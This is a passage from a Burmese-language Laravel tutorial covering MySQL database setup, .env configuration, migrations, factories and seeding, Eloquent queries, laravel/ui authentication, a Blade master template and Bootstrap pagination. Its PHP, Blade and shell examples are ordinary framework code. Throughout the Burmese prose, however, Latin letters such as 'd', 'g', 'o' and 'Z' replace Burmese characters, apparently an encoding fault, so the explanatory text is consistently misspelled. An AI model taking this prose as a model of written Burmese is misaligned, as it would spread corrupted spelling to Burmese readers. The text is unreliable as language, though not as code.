အစီအစဉ်အရ ဆက်eကည့်ရမှာက Model  အdeကာင်းgoစ်ပါတယ်။ ဒါdပမယ့် Model  အdeကာင်းမသွားခင်
Database  နဲ့ပတ်သက်တဲ့  အdeကာင်းကို  အရင်သွားရပါမယ်။  ပထမဆုံး  MySQL  Database  တစ်ခု
တည်dဆာက်လုိက်ပါ။  Database  အမည်ကို  ကြကိုက်သလုိ  dပးလ့ုိရပါတယ်။  ပdရာZျက်အမည်နဲ့  ကိုက်
သွားdအာင် laravel_blog လ့ုိ dပးလုိက်ပါမယ်။  phpMyAdmin  ကိုပဲ အသံုးgပုပြပီးတည်dဆာက်ရမှာ
ပါ။  ဒါမှမဟုတ်  Command  Line  အသုံးgပုတတ်သူdတွက  mysql  Command  ကိုအသံုးgပုပြပီး  အခုလုိ
တည်dဆာက်နိုင်ပါတယ်။

mysql -u root

MySQL  Shell  ကို  Username  root နဲ့  ဝင်dရာက်gခင်းgoစ်ပါတယ်။  ဒီလုိ  ဝင်dရာက်နိုင်oို့  MySQL
Database Server ကို Run ထားပြပီး goစ်oို့dတာ့လုိပါတယ်။ အကယ်၍ ကိုယ့်စက်ထဲက MySQL Database
မှာ Password ရိှရင်dတာ့ ဒီလို ဝင်ရမှာပါ။

mysql -u root -p

Password  လာdတာင်းတဲ့အခါ dပးလုိက်ရင် ရပါပြပီ။  MySQL Shell  ထဲကို  dရာက်ပြပီဆိုရင် ဒီ  Query  ကို
Run ပြပီး Database တည်dဆာက်နိုင်ပါတယ်။

CREATE DATABASE laravel_blog
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ပြပီးရင်  exit နဲ့ gပန်ထွက်လုိက်လ့ုိ ရပါပြပီ။  Database တည်dဆာက်oို့ပဲလိုပါတယ်။ Table တည်dဆာက်
တဲ့ ကိစ္စdတွ၊ Data ထည့်သွင်းတဲ့ ကိစ္စdတွကို Laravel ကုဒ် zက်ကdန ဆက်လုပ်သွားမှာပါ။

Database Setting
ပြပီးတဲ့အခါ  Database Name, Username, Password  စတဲ့အချက် dတွကို  Laravel  က သိသွားdအာင်
သတ်မှတ်dပးရပါဦးမယ်။  ပdရာZျက်  oုိဒါထဲမှာ  .env အမည်နဲ့  oုိင်တစ်ခုပါဝင်ပါတယ်။  Database
Setting  dတွ အပါအဝင်  Environment Setting  dတွကို အ့ဲဒီoုိင်ထဲမှာ စုစည်းပြပီး dရးသားထားပါတယ်။
Database နဲ့ ပတ်သက်တာက ဒီအပုိင်းပါ -

 ENV 
… 
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=
… 

အခုလုိ gပင်dပးရမှာ goစ်ပါတယ် -

 ENV 
… 
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel_blog
DB_USERNAME=root
DB_PASSWORD=
… 

DB_DATABASE တစ်ခုပဲ gပင်dပးလုိက်တာပါ။ ကျန်တာdတွက မလုိအပ်လ့ုိ မgပင်ထားပါzူး။ အကယ်၍
စာoတ်သူရဲ့ စက်မှ  Database Password dတzွာdတွ သတ်မှတ်ထားရင်dတာ့ ဒီdနရာမှာ တစ်ခါတည်း
မှန်dအာင်gပင်dပးရမှာ goစ်ပါတယ်။
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Migration
Laravel  မှာ  Database  Table  dတွကို  စီမံo့ုိအတွက်  Migration  လ့ုိdခါ်တဲ့  နည်းပညာပါဝင်ပါတယ်။
Migration ကို Table Structure စီမံတဲ့ နည်းပညာလ့ုိ အလွယ်မှတ်နိုင်ပါတယ်။ Migration နဲ့ Model ကုဒ်
oုိင်dတွကို အခုလုိ တည်dဆာက်လ့ုိရပါတယ်။

php artisan make:model Article -m

ဒီ  Command  ရဲ့  အဓိပ္ပါယ်က  Article အမည်နဲ့  Model  oုိင်တစ်ခု  တည်dဆာက်gခင်း  goစ်ပါတယ်။
ထံုးစံအတိုင်း  Class Name  ကို  CapitalCase နဲ့dပးပါတယ်။ dရှ့dနာက်မှ zာမှမတွဲပါzူး။ ဥပမာ  -
ArticleModel, CommentModel စသgoင့် dပးစရာမလုိပါzူး။

အdရးကြကီးတာက ဟိုးdနာက်ဆုံးက -m dလးgoစ်ပါတယ်။ အ့ဲဒါ Migration oုိင်တစ်ခါတည်း တည်dဆာက်
dပးdစo့ုိအတွက် ထည့်dပးလိုက်တာပါ။ တစ်ကယ်တန်းက make:migration နဲ့  make:model ဆို
ပြပီးနှစ်ခါ  Run dပးရမှာပါ။ မ Run ချင်လ့ုိ တစ်deကာင်းတည်းနဲ့ အခုလုိ  Model  dရာ Migration ကိုပါ တွဲ
Run လုိက်တဲ့ သdzာပါ။

ဒီ  Command  ကို  Run  လုိက်တဲ့အတွက်  /app/Models/Article.php ဆိုတဲ့  Model  oုိင်နဲ့
/database/migrations/xxx_create_articles_table.php  ဆိုတဲ့  oုိင်နှစ်ခု
တည်dဆာက် dပးသွားမှာ goစ်ပါတယ်။ xxx dနရာမှာ Run တဲ့အချနိ်နဲ့ ရက်စွဲdပါ်မူတည်ပြပီး တစ်dယာက်
နဲ့တစ်dယာက် မတူzဲ ကွဲgပားသွာမှာပါ။

eကားgoတ်ပြပီး တစ်ခုdgပာချင်ပါတယ်။ Model နဲ့ Migration အမည်ဆင်တူလို့ အမှတ်မမှားပါနဲ့။ Migration
ဆိုတာ   Table   ကို စီမံo့ုိgoစ်ပြပီး   Model   ဆိုတာ   (Table   ထဲက  ) Data   ကို စီမံo့ုိ goစ်တယ်   လ့ုိ အလွယ်မှတ်နိုင်
ပါတယ်။ Data dတွ စီမံo့ုိအတွက် ပံုမှန်အားgoင့် SQL Query dတွကို အသံုးgပုရပါမယ်။ Laravel မှာdတာ့
Eloquent လ့ုိdခါ်တဲ့  ORM နည်းပညာ တစ်ခုပါဝင်ပြပီး ဒီနည်းပညာကို dရှ့ဆက်အသံုးgပုသွားမှာပါ။  ORM
ဆိုတာ Object Relational Mapping ရဲ့ အတိုdကာက်goစ်ပြပီး လုိရင်းအနှစ်ချုပ်ကdတာ့ Database Data
dတွကို    SQL Query    dတွမသံုးzဲ    OOP    ကုဒ်နဲ့  စီမံလို့ရdအာင် eကားခံdဆာင်ရွက်dပးတဲ့  နည်းပညာ   လ့ုိ
မှတ်နိုင်ပါတယ်။ PHP မှာ Entity, Doctrine, Eloquent စသgoင့် ORM နည်းပညာ အမျ ို းမျ ို းရှိပါတယ်။
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ဆက်လက်ပြပီး Table တည်dဆာက်oို့အတွက် တည်dဆာက်လုိတဲ့  Table ရဲ့ oဲွ့စည်းပံုကို သတ်မှတ်dပးပါ
မယ်။  /database/migrations/xxx_create_articles_table.php oုိင်ကိုoွင့်လုိက်ပါ။
အထဲမှာ အခုလုိကုဒ်dတွ ပါဝင်ပါလိမ့်မယ်။

 PHP 
<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateArticlesTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('articles', function (Blueprint $table) {
            $table->id();
            $table->timestamps();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('articles');
    }
}

up() Method အတွင်းမှာ Table တည်dဆာက်တဲ့ကုဒ်ကို တစ်ခါတည်း dရးထားdပးပါတယ်။ Table ရဲ့
အမည်ကို articles လ့ုိ dပးထားပါတယ်။ dလာdလာဆယ်မှာ id နဲ့ timestamps ဆိုတဲ့ သတ်မှတ်
ချက်နှစ်ခု ပါဝင်ပါတယ်။ ဒါdeကာင့်ခုdန ဒီကုဒ်ကို  Run ရင် id, created_at, updated_at ဆို
တဲ့  Column (၃)  ခု  ပါဝင်တဲ့  articles Table  ကိုရရှိမှာgoစ်ပါတယ်။  Laravel  မှာ  timestamps
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အတွက် created_at နဲ့ updated_at ကို သံုးလုိ့ပါ။ မ Run ခင် ပါဝင်dစလုိတဲ့ Column dတွ အရင်
ထည့်dပးလုိက်ပါမယ်။ up() Method ကို အခုလုိ gပင်dပးလုိက်ပါ။

 PHP 
public function up()
{
    Schema::create('articles', function (Blueprint $table) {
        $table->id();
        $table->string('title');
        $table->text('body');
        $table->integer('category_id');
        $table->timestamps();
    });
}

title အမည်နဲ့  String  Column  တစ်ခု၊  body အမည်နဲ့  Text  Column  တစ်ခု၊  category_id
အမည်နဲ့  Integer Column  တစ်ခု၊  စုစုdပါင်း  Column (၃)  ခုထပ်တိုးdပးလုိက်တာပါ။  ပြပီးရင်  ဒီကုဒ်ကို
Run  လ့ုိရပါပြပီ။ ဒီလုိပါ -

php artisan migrate

ဒါဆိုရင်  id,  title,  body,  category_id,  created_at,  updated_at ဆိုတဲ့
Column (၅) ခုပါဝင်တဲ့ articles Table ကို တည်dဆာက်သွားမှာ goစ်ပါတယ်။ သတိgပုရမှာကdတာ့
Framework  နဲ့အတူ  တgခား  Migration  oုိင်dတွလည်း  တစ်ခါတည်းပါလာပါdသးတယ်။
/database/migrations oုိဒါထဲမှာ eကည့်လ့ုိရပါတယ်။ ဒါdeကာင့် ကိုယ်တိုင်  Migration oုိင်တစ်ခု
ထည့်လိုက်dပမယ့်  တစ်ကယ်တမ်း  Run  သွားတာ  Migration  oုိင်  (၄-၅)  ခုgoစ်တယ်ဆိုတဲ့  အချက်ကို
သတိgပုပါ။

Database Seeding
Table တည်dဆာက်ပြပီးတဲ့အခါ နမူနာ Data တစ်ချ ို ့ထည်dပးo့ုိ လုိအပ်တတ်ပါတယ်။ Laravel မှာ ဒီလို န
မူနာ  Data  ထည့်dပးနိုင်တဲ့ နည်းပညာလည်း တစ်ခါတည်း ပါဝင်ပါတယ်။  Database Seeding  လ့ုိdခါ်ပါ
တယ်။ နမူနာ Data dတွထည့်သွင်းo့ုိအတွက်  Model Factory လ့ုိdခါ်တဲ့ နမူနာ Data  (Model Object)
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dတွ ထုတ်dပးနိုင်တဲ့ကုဒ်ကို အရင်dရးသင့်ပါတယ်။ ဒီလုိပါ -

php artisan make:factory ArticleFactory

ဒီ  Command  ကို  Run  လုိက်ရင်  ArticleFactory.php အမည်နဲ့  oုိင်တစ်ခု  /databases/
factories ထဲမှာ တည်dဆာက်dပးသွားပါလိမ့်မယ်။ အထဲမှာ အခုလုိ ကုဒ်dတွ ပါဝင်မှာပါ။

 PHP 
<?php

namespace Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory;
class ArticleFactory extends Factory
{
    /**
     * Define the model's default state.
     * @return array
     */
    public function definition()
    {
        return [
            //
        ];
    }
}

ဒီ  Model  Factory  ကိုအသံုးgပုပြပီး  Model  တစ်ခတုည်dဆာက်ရာမှာ  ပါဝင်ရမယ့်  Property  dတွကို
သတ်မှတ်ပါမယ်။ ဒါdeကာင့် definition() Method ကုဒ်ကို အခုလုိgပင်dပးo့ုိ လုိအပ်ပါတယ်။

 PHP 
public function definition()
{
    return [
        'title' => $this->faker->sentence,
        'body' => $this->faker->paragraph,
        'category_id' => rand(1, 5),
    ];
}
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title အတွက်  Sample  စာတစ်deကာင်း၊  body အတွက်  Sample  စာတစ်ပုိဒ်နဲ့  category_id
အတွက်  1, 5  eကား  Random တန်oုိး တစ်ခုတို့ကို  dပးလုိက်တာ goစ်ပါတယ်။  faker  ဆိုတာက name,
phoneNo, email, address စသgoင့် အသံုးဝင်တဲ့ Random Sample dတွ ထုတ်dပးနိုင်တဲ့ နည်း
ပညာတစ်ခုပါ။  Laravel  ကအ့ဲဒီနည်းပညာကို တစ်ခါထဲ ထည့်dပးထားလ့ုိ အခုလုိ အသုံးgပုနိုင်တာ goစ်ပါ
တယ်။ လက်ရှိ sentence နဲ့ paragraph ကို အသံုးgပုထားပါတယ်။ Faker မှာပါတဲ့ လုပ်dဆာင်ချက်
အgပည့်အစုံကို သိချင်ရင် dအာက်ကလိပ်စာမှာ dလ့လာနိုင်ပါတယ်။

- https://github.com/fzaninotto/Faker

ပြပီးတဲ့အခါ /database/seeds oုိဒါထဲက DatabaseSeeder.php ဆိုတဲ့oုိင်ကို oွင့်eကည့်ပါ။ အထဲ
မှာ ဒီလိုကုဒ်dတွ ရှိdနတာကို dတွ့ရမှာ goစ်ပါတယ်။

 PHP 
<?php

use Illuminate\Database\Seeder;
class DatabaseSeeder extends Seeder
{
    /**
     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {
        // $this->call(UserSeeder::class);
    }
}

run() Method ထဲမှာ Factory ရဲ့ အကူအညီနဲ့ နမူနာ Data dတွ Table ထဲကို ထည့်dပးတဲ့ကုဒ်ကို အခု
လုိ dရးdပးရမှာ goစ်ပါတယ်။

https://github.com/fzaninotto/Faker
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 PHP 
<?php

namespace Database\Seeders;
use Illuminate\Database\Seeder;
use App\Models\Article;
class DatabaseSeeder extends Seeder
{
    /**
     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {
        Article::factory()->count(20)->create();
    }
}

ဒါဟာ dစာdစာကတည်dဆာက်လုိက်တဲ့ ArticleFactory က gပန်dပးတဲ့ ကြကိုတင်သတ်မှတ်ထားတဲ့
Property  ကိုသံုးပြပီး  Model  အခု  (၂၀)  တည်dဆာက်လုိက်တဲ့သdzာပါ။  တစ်နည်းအားgoင့်  articles
Table ထဲကို  Record အdeကာင်း (၂၀) ထည့်သွင်းလုိက်gခင်းပဲ goစ်ပါတယ်။ ဒီကုဒ်ကို  Run dပးo့ုိdတာ့လို
ပါdသးတယ်။ Run dပးလုိက်မှာ Record dတွက ဝင်သွားမှာပါ။ ဒီလုိ Run ရပါတယ် -

php artisan db:seed

Database Table နဲ့  Sample Data dတွကို  Manual တစ်ခုချင်းလုပ်စရာမလုိzဲ အခုလုိ ကုဒ်dလးdရးပြပီး
Run  ယံုနဲ့  စီမံလ့ုိရတယ်ဆိုတာ  လက်dတွ့မှာ  dတာd်တာ်အသံုးဝင်တဲ့  လုပ်dဆာင်ချက်dတွပါ။
အထူးသgoင့် အများနဲ့ပူးdပါင်းအလုပ်လုပ်တဲ့အခါ တစ်dယာက်က   Table Structure   gပင်လုိက်လ့ုိ ကိုယ့်ဆီ  
မှာ  ကုဒ်ကအလုပ်မလုပ်dတာ့zူး  ဆိုတာမျ ို း  goစ်စရာမလုိdတာ့ပါzူး။  သူထည့်dပးလုိက်တဲ့  Migration
ကုဒ်ကို Run လုိက်ယံုနဲ့ Updated Structure ကို ကိုယ့်ဆီမှာလည်း ရသွားမှာ goစ်ပါတယ်။
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Model
အခုဆိုရင်  Table  တည်dဆာက်gခင်း၊  Sample  Data  ထည့်သွင်းgခင်းdတွ  ပြပီးသွားပြပီမ့ုိလ့ုိ  ဒီ  Data  ကို
အသံုးချပါdတာ့မယ်။ ArticleController.php oုိင်ကိုoွင့်ပြပီး အခုလုိgပင်dပးပါ။

 PHP 
<?php

namespace App\Http\Controllers;
use App\Models\Article;
use Illuminate\Http\Request;
class ArticleController extends Controller
{
    public function index()
    {
        $data = Article::all();
        return view('articles.index', [
            'articles' => $data
        ]);
    }

    public function detail($id)
    {
        return "Controller - Article Detail - $id";
    }
}

ထိပ်နားမှာ ကျွန်dတာ်တို့တည်dဆာက်ထားတဲ့  Model  goစ်တဲ့  App\Models\Article ကို  Import
လုပ်ထားတာ သတိgပုပါ။ ပြပီးတဲ့အခါ Article::all() Method ကိုသံုးပြပီး articles Table ထဲက
ရိှ Record အားလံုးကို ထုတ်ယူထားပါတယ်။ အရမ်းလွယ်ပါတယ်။ SELECT * FROM articles စ
သgoင့်  SQL Query dတွ မလုိအပ်dတာ့ပဲ သတ်မှတ်ထားတဲ့  Method dတွ  Property  dတကွdနတစ်ဆင့်
Data ကို အခုလုိ စီမံနိုင်gခင်း goစ်ပါတယ်။ စမ်းeကည့်လိုက်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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ဒါဟာ articles Table ထဲက Data dတွကို dတွ့gမင်dနရgခင်းပဲ goစ်ပါတယ်။

ဒီအခန်းမှာdတာ့  ဒီdလာက်နဲ့ခဏနေနားeကပါဦးစို့။  dနာက်အခန်းdတွမှာ  Model  နဲ့ပတ်သက်တဲ့  ကိစ္စdတွ
ဆက်dလ့လာစရာ ကျန်ရှိပါdသးတယ်။ 
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အခန်း (၄၇) – Laravel Authentication

Model  နဲ့ပတ်သက်ပြပီး  ကျန်dနတာdတွ  ဆက်မeကည့်ခင်  UI  ပုိင်း  သပ်သပ်ရပ်ရပ်goစ်dစo့ုိကိုလည်း
တစ်ခါတည်း တွဲပြပီး လုပ်သွားပါဦးမယ်။ ဒီအတွက် Laravel မှာ Bootstrap CSS Framework ကို အသံုးgပု
oန်တီးထားတဲ့  UI  တစ်ခါတည်း  ပါပါတယ်။  ပြပီးdတာ့  User  Login,  Register,  Logout  စတဲ့
Authentication (Auth) လုပ်dဆာင်ချက်dတွလည်း ကြကိုတင်dရးdပးထားပြပီးသာ ပါပါတယ်။

အရင်  Laravel  Version  အdဟာင်းdတွမှာဆိုရင်  UI  နဲ့  Auth  က  အတွဲလုိက်ပါ။  make:auth ကို
အသံုးgပုပြပီး  Authentication  ကုဒ်oုိင်dတွ  တည်dဆာက်လုိက်တာနဲ့  UI  ပါ  တစ်ခါတည်း ပါသွားတာပါ။
အခုdနာက်ပုိင်း  Version dတွမှာdတာ့  UI  ကသပ်သပ် Auth က သပ်သပ်goစ်သွားပါပြပီ။ သပ်သပ်စီ သံုးလ့ုိ
ရသလုိ တွဲသံုးလ့ုိလည်း ရပါတယ်။ ဒါdပမယ့် အသံုးgပုလုိရင်  laravel/ui Package  ကို  Install  လုပ်
dပးo့ုိ  လုိသွားပါတယ်။  တစ်ခါတည်း  တွဲထည့်မdပးdတာ့ပါzူး။  ဒါdeကာင့်  laravel/ui ကို  အခုလုိ
Install လုပ်dပးပါ။

composer require laravel/ui "3.*"

လက်ရှိ Laravel ပdရာZျက်oုိဒါထဲမှာ Run ရမှာပါ။ ဒီနည်းနဲ့ ထပ်မံထည့်သွင်း အသံုးgပုလုိတဲ့ တgခား PHP
Package  dတွကိုလည်း ထပ်ထည့်လ့ုိ ရပါတယ်။ dနာက်ဆုံးက  3.*  ကdတာ့  Install  လုပ်လုိတဲ့  Version
Number ကို ထည့်dgပာလုိက်တာပါ။ Package တူdပမယ့် Version မတူလ့ုိ အဆင်မdgပတာမျ ို းလည်း goစ်
တတ်လ့ုိပါ။  laravel/ui ကို  Install  လုပ်ပြပီးပြပီဆိုရင်  Auth  နဲ့  UI  အတွက် ကုဒ်dတွကို အခုလုိ အတွဲ
လုိက် oန်တီးယူလို့ရပါပြပီ။ 
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php artisan ui bootstrap --auth

UI  မှာ  (၃)  မျ ို းရှိပါတယ်။  vue, react နဲ့  bootstrap ပါ။ ဒီစာအုပ်မှာdတာ့  Bootstrap  ကိုပဲ သံုး
သွားမှာပါ။ အdပါ်က Command က လုိအပ်တဲ့oုိင်dတွ dဆာက်dပးသွားတယ်။ ပြပီးdတာ့  Bootstrap ကို
သံုးမယ်လို့ သတ်မှတ်လုိက်ပါတယ်။ တစ်ကယ့် Bootstrap CSS Framework oုိင်dတွကိုdတာ့ Download
မလုပ်ရdသးပါzူး။ ဒါdeကာင့် ဒီ Command dတွ ဆက် Run dပးo့ုိ လုိပါdသးတယ်။

npm install
npm run dev
npm run dev

ဒီ  Command  dတွက  Composer  မဟုတ်dတာ့ပါzူး။  NPM  goစ်သွားပါပြပီ။  Frontend Package  dတွနဲ့
JavaScript Package  dတွအတွက်  NPM ကိုပဲ သံုးeကdလ့ရှိတာပါ။ ဒါdeကာင့် ကိုယ့်စက်ထဲမှာ  NPM ကို
Install  လုပ်ထားပြပီး goစ်o့ုိdတာ့ လုိပါdသးတယ်။ မရှိdသးရင်  nodejs.org ကdန  Node  ကို  Download
လုပ်ပြပီး Install လုပ်လုိက်ရင် NPM လည်း တစ်ခါတည်း ပါဝင်သွားပါလိမ့်မယ်။

npm install Command  က  Bootstrap  အပါအဝင် လုိအပ်တဲ့  Frontend Library  dတွကို  Download
လုပ်dပးသွားမှာgoစ်ပြပီး၊  npm  run  dev  Command  ကdတာ့  CSS  ကုဒ်dတွ  JavaScript  ကုဒ်dတွကို
အသင့်အသံုးgပုနိုင်dအာင် Compile လုပ်dပးမှာ goစ်ပါတယ်။

npm run dev ကို နှစ်ကြကိမ် Run ထားတာကို သတိgပုပါ။ လုိရင်းအdနနဲ့ ပထမတစ်ကြကိမ်မှာ လုိအပ်တဲ့oုိင်
dတရွှိလ့ုိ  မgပည့်စုံတဲ့အတွက်၊  အ့ဲဒီoုိင်dတွ ယူသွားတာgoစ်လ့ုိ  ဒုတိယတစ်ကြကိမ်  ထပ်  Run  dပးရတတ်တဲ့
သdzာမျ ို းပါ။

ဒီ Command dတွအားလံုး Run ပြပီးo့ုိ လုိအပ်တဲ့oုိင်dတွ စုံပြပီဆိုရင်dတာ့ /login, /register စတဲ့
URL dတွနဲ့ စမ်းသပ်အသံုးgပုလ့ုိရသွားပါပြပီ။

https://nodejs.org/
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ပြပီးခဲ့တဲ့ အခန်းမှာ Migration ကုဒ်dတွကို  Run တဲ့အခါ User Data dတွသိမ်းo့ုိအတွက် လုိအပ်တဲ့  Table
လည်း တစ်ခါတည်း ပါဝင်သွားပြပီး goစ်ပါတယ်။ ဒါdeကာင့် User Account dတွdဆာက်၊ Login dတွဝင်ပြပီး
dတာ့ စမ်းမယ်ဆိုရင်လည်း စမ်းeကည့်လ့ုိရတာကို dတွ့ ရမှာgoစ်ပါတယ်။ 
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အခန်း (၄၈) – Laravel Master Template

အခုဆိုရင်  UI Package ကိုလည်း ထည့်သွင်းပြပီးgoစ်လုိ့ ကျွန်dတာ်တို့ dရးသားလက်စကုဒ်ကို သပ်သပ်ရပ်
ရပ်goစ်dအာင် gပင်eကပါမယ်။ View Template dတွ dရးတဲ့အခါ တူညီတဲ့ကုဒ်ကို ထပ်ခါထပ်ခါ dရးစရာ မ
လုိzဲ တစ်ကြကိမ်dရးထားပြပီး လုိအပ်တဲ့dနရာကdန gပန်ယူသံုးလို့ရတဲ့နည်းdတွ ရှိပါတယ်။ အ့ဲဒီထဲက အdရး
အကြကီးဆုံးနည်း တစ်ခုကdတာ့ Master Template goစ်ပါတယ်။

Master  Template  dတွကို  ကိုယ်တိုင်dရးရင်လည်း  ရနိုင်dပမယ့်  UI  Package  ကို  ထည့်သွင်းလုိက်တဲ့
အတွက် Master Template တစ်ခု အသင့်ပါဝင်သွားလ့ုိ အခုdတာ့ အ့ဲဒီ Template ကို ဆက်လက်အသံုးgပု
ပြပီး dရးသားသွားမှာပါ။ တည်dနရာကdတာ့  /resources/views/layouts/app.blade.php
goစ်ပါတယ်။  ကျွန်dတာ်တိုd့ရးသားလက်စgoစ်တဲ့  /resources/views/articles oုိဒါထဲက
index.blade.php ကို အခုလုိ gပင်ရပါမယ်။

 HTML/Blade/PHP 
@extends("layouts.app")
@section("content")
  <div class="container">
    @foreach($articles as $article)
      <div class="card mb-2">
        <div class="card-body">
          <h5 class="card-title">{{ $article->title }}</h5>
          <div class="card-subtitle mb-2 text-muted small">
            {{ $article->created_at->diffForHumans() }}
          </div>
          <p class="card-text">{{ $article->body }}</p>
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          <a class="card-link" 
            href="{{ url("/articles/detail/$article->id") }}">
            View Detail &raquo;
          </a>
        </div>
      </div>
    @endforeach
  </div>
@endsection

ပထမဆုံးအdနနဲ့  Blade  ရဲ့  @extends() ကိုသံုးပြပီး  layouts/app ကို  လှမ်းယူလုိက်ပါတယ်။ ပြပီး
dတာ့မှ  အ့ဲဒီ  Layout  ထဲမှာ  Content  အdနနဲ့  doာ်gပရမယ့်  Template  ကုဒ်ကို
@section("content") ကိုသံုးပြပီး dရးdပးလုိက်တာပါ။ ဒါdeကာင့် layouts/app Template ထဲ
မှာ dပးလုိက်တဲ့ Content နဲ့ gပdပးတဲ့ ရလဒ်ကို ရမှာ goစ်ပါတယ်။

Content  အdနနဲ့  Bootstrap  CSS  Framework  ရဲ့  လုပ်dဆာင်ချက်dတွကို  အသံုးgပုပြပီး  title,
created_at နဲ့  body တို့ကို  doာ်gပထားပါတယ်။  ထူးgခားချက်အdနနဲ့  created_at dပါ်မှာ
diffForHumans() Method  ကို  သံုးထားလ့ုိ ရက်စွဲအချနိ်ကို  3 seconds ago, 1 day ago  စသgoင့်
oတ်ရှုနားလည်ရ လွယ်ကူတဲ့ပံုစံနဲ့ doာ်gပdပးမှာ goစ်ပါတယ်။ dနာက်တစ်ချက်ကdတာ့ View Detail Link
ထည့်ထားပြပီး href အတွက် လိပ်စာကို url() Function နဲ့ dပးထားပါတယ်။ ဒါdeကာင့် အ့ဲဒီ Link ကို
နှိပ်လုိက်ရင်  /articles/detail/{id} Route  ကို  dရာက်သွားမှာgoစ်ပါတယ်  (Double  Quote
String ကိုသံုးထားတာ သတိgပုပါ)။ စမ်းeကည့်လိုက်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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Bootstrap ကိုအသံုးgပုထားတာgoစ်လို့ ဒီထက်ပုိသပ်ရပ်dအာင် လုပ်မယ်ဆိုရင်လည်း အလွယ်တစ်ကူ လုပ်
လ့ုိရနိုင်ပါတယ်။  ဒါdပမယ့်  Bootstrap  အdeကာင်းကို  ဒီdနရာမှာ  အdသးစိတ်  ထည့်မdgပာနိုင်လ့ုိ  မ
dလ့လာoူးတဲ့သူdတွအတွက် မျက်စိအရမ်းမရှုပ်dအာင် ဒီdလာက်ပဲ ထားပါမယ်။

လက်စနဲ့  အသံုးဝင်တဲ့  လုပ်dဆာင်ချက်တစ်ချ ို ့ထည့်eကည့်ပါဦးမယ်။  ArticleController.php
ထဲက index() Method ကို အခုလုိgပင်eကည့်လုိက်ပါ။

 PHP 
public function index()
{
    $data = Article::latest()->paginate(5);
    return view('articles.index', [
        'articles' => $data
    ]);
}

မူလက Article::all() ကို အသံုးgပုထားရာကdန Article::latest() ကို dgပာင်းသံုးလုိက်
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တာပါ။  အဓိပ္ပါယ်က  Record  dတွကို  ထုတ်ယူတဲ့အခါ  dနာက်ဆုံးထည့်သွင်းထားတဲ့  Record  ကို  အရင်
ထုတ်ယူမယ်၊ တနည်းအားgoင့် dgပာင်းgပန်စီပြပီး ထုတ်ယူမယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ပြပီးdတာ့  paginate()
Method  ကိုလည်း  သံုးထားပါdသးတယ်။ စာမျက်နှာdတွ  ခွဲgပမယ်၊  တစ်မျက်နှာကို  (၅)  ခုပဲgပမယ်ဆိုတဲ့
အဓိပ္ပါယ်ပါ။ ဒါdတွကို ကိုယ့်zာသာdရးရမယ်ဆိုရင် အလုပ်ရှုပ်ပါတယ်။ အခုdတာ့  Framework မှာ ဒီလုိ
လုပ်dဆာင်ချက်dတွ အသင့်ပါလ့ုိ ယူသုံးလုိက်ယံုပါပဲ။

စမ်းeကည့်နိုင်o့ုိအတွက် articles/index Template မှာ ဒီလိုdလးထပ်ထည့်dပးပါ။

 HTML/Blade/PHP 
@extends("layouts.app")
@section("content")
  <div class="container">

    {{ $articles->links() }}
    @foreach($articles as $article)
      …
    @endforeach
  </div>
@endsection

ကုဒ်တိုသွားdအာင်  အကုန်gပန်မgပdတာ့ပါzူး။  ထပ်တိုးလုိက်တဲ့အပုိင်းကိုပဲ  ဦးစားdပးပြပီး  gပထားတာပါ။
$articles dပါ်မှာ links() Method ကို Run ထားတဲ့ ကုဒ်တစ်deကာင်းပဲ ထပ်goည့်လုိက်တာပါ။ ဒီ
Method  က စာမျက်နှာ  ခွဲgပတဲ့အခါ  dနာက်စာမျက်နှာdတွကို  သွားလို့ရတဲ့  Pagination  Links  dတွကို
ထုတ်dပးတဲ့ Method ပါ။

gပဿနာတစ်ခုdတာ့ ရိှပါတယ်။ Laravel 8 မှာ Pagination Links dတွgပတဲ့ UI အတွက် TailwindCSS ကို
Default  အdနနဲ့  အသုံးgပုထားပါတယ်။ ကျွန်dတာ်တို့က လက်ရှိ  Bootstrap  ကို  အသံုးgပုdနတာgoစ်လို့
Pagination Links dတွgပတဲ့အခါ Bootstrap ကိုအသံုးgပုပြပီး gပdပးoုိ့ ထပ်တိုးသတ်မှတ်dပးo့ုိ လုိအပ်လာ
ပါတယ်။ ဒါdeကာင့်  apps/Providers  oုိဒါထဲက AppServiceProvider.php oုိင်မှာ အခုလုိ goည့်dရးdပးရ
ပါမယ်။
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 PHP 
<?php

namespace App\Providers;
use Illuminate\Support\ServiceProvider;
use Illuminate\Pagination\Paginator;
class AppServiceProvider extends ServiceProvider
{
    /**
     * Register any application services.
     *
     * @return void
     */
    public function register()
    {
        //
    }

    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        Paginator::useBootstrap();
    }
}

ကျန်ကုဒ်dတွကို  နZိုရှိတဲ့ကုဒ်dတွgoစ်ပြပီး  Highlight  လုပ်gပထားတဲ့အပုိင်းdတွကိုပဲ  ထပ်တိုးရမှာပါ။
Paginator Class ကို  Import  လုပ်ပြပီး dအာက်က boot() Method မှာ  Paginator::useBootstrap()  ကို
dခါ်dပးလုိက်တာပါ။

ပြပီးတဲ့အခါ စမ်းeကည့်လ့ုိရပါပြပီ။ ရလဒ်က ဒီလိုgoစ်သွားပါလိမ့်မယ်။
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စာမျက်နှာ  1,  2,  3  စသgoင့်  Paging  Links  dတွ  ပါဝင်သွားတာပါ။  dနာက်တစ်ဆင့်အdနနဲ့
ArticleController ရဲ့ detail() Method ကို အခုလုိgပင်dပးရပါမယ်။

 PHP 
public function detail($id)
{
    $data = Article::find($id);
    return view('articles.detail', [
        'article' => $data
    ]);
}

Article::find() Method  ကိုသုံးပြပီး  dပးလုိက်တဲ့  ID  နဲ့  ကိုက်ညီတဲ့  Record  တစ်deကာင်းကို
